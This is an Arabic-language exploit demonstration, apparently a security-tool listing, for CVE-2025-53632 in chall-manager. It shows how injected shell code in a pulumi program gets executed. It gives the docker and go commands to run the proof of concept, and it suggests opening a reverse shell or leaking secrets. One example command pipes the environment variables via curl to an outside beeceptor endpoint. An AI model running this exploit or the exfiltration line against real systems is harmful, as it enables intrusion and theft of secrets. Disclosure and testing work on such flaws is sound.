باستخدام هذه المعلومات، سنقوم بالتلاعب ببرنامج pulumi عن طريق حقن بعض أكواد الشل قبل تنفيذه. وبما أنه سيتم التحقق من السيناريو بعد ذلك، فسيتم تنفيذ برنامج pulumi المعدَّل، مما يشغّل السكربت.

من خلال هذا السكربت، يمكنك الآن فتح قشرة عكسية (reverse shell)، أو التنقل عبر البنية التحتية أو داخل الحاوية، أو تسريب الأسرار (مثل تلك الموجودة في متغيرات البيئة)، أو حتى محتوى التحدي (مثل علم التحدي إذا لم يكن أحد السيناريوهات مبنيًا مسبقًا).

المتطلبات

لتشغيل هذا العرض التوضيحي للاستغلال، ستحتاج إلى:

• docker ؛
• go.

الاستغلال

1. شغّل chall-manager.

   root@kitploit:~

   docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
   

2. شغّل main.go

   root@kitploit:~

   go run main.go --url localhost:8080
   

   كن مبدعًا في سكربتك! على سبيل المثال، يمكنك إرسال معلومات النظام إلى جهة خارجية...

   root@kitploit:~

   go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
   

   

3. يمكنك إيقاف حاوية Docker الخاصة بـ Chall-Manager التجريبي بمجرد الانتهاء.

   root@kitploit:~

   docker stop chall-manager && docker rm $_